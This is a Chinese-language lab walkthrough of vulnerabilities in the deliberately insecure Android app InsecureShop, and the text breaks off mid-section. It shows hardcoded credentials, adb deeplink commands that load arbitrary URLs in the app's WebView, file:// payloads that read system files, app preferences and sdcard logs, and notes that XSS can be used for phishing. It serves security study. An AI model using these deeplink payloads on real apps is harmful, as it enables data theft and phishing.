目录摘要
漏洞1—账号密码信息硬编码
反编译,查看源码,搜索user
查看LoginActivity.class,发现密码校验逻辑是在Util中
点击查看Util.class,发现硬编码,账户名密码
登录成功
漏洞2—URL验证不足
AndroidManifest.xml中如下
WebViewActivity.class代码如下:
由此可知,我们可以通过以下deeplink来启动该WebViewActivity,加载我们指定的任意url
insecureshop://com.insecureshop/web?url=https://www.baidu.com
insecureshop://com.insecureshop/webview?url=https://www.baidu.com?insecureshopapp.com
方式1—使用adb验证漏洞
adb shell am start -W -a xxx.action -d <deeplink>
# 参数解释
#- adb shell:即进入安卓shell环境
#- am:代表activity manager,即活动管理器
#- start:启动一个activity
#- -W 启动activity前,先等待设备唤醒,避免设备处于休眠状态启动activity时出错
#- -a 用于启动一个指定action的activity
#- -d 传递一个deeplink链接
漏洞利用1—任意url跳转
adb shell am start -a android.intent.action.VIEW -d insecureshop://com.insecureshop/web?url=http://baidu.com
漏洞利用2—读取本地文件
- 读取应用数据目录
- 读取应用日志
- 读取sdcard
1.读取系统文件
/system/
/etc/hosts
/system/build.prop
adb shell am start -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///system/build.prop"
2.读取应用数据目录相关文件
adb shell am start -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///data/data/com.insecureshop/shared_prefs/Prefs.xml"
3.读取sdcard文件
sdcard/Download/magisk_install_log_2023-09-19T09.52.22.log
方式2:编写js网页
漏洞利用3—xss
由于目标未启用setJavaScriptCanOpenWindowsAutomatically(true)
,因此不能弹窗,但可以执行js代码
可以利用xss钓鱼,csrf等
漏洞3—任意代码执行
1.分析源码
目标apk LoginActivity存在以下代码
// 获取所有已安装应用程序的信息,将 List 转换为一个迭代器对象
paramView = getPackageManager(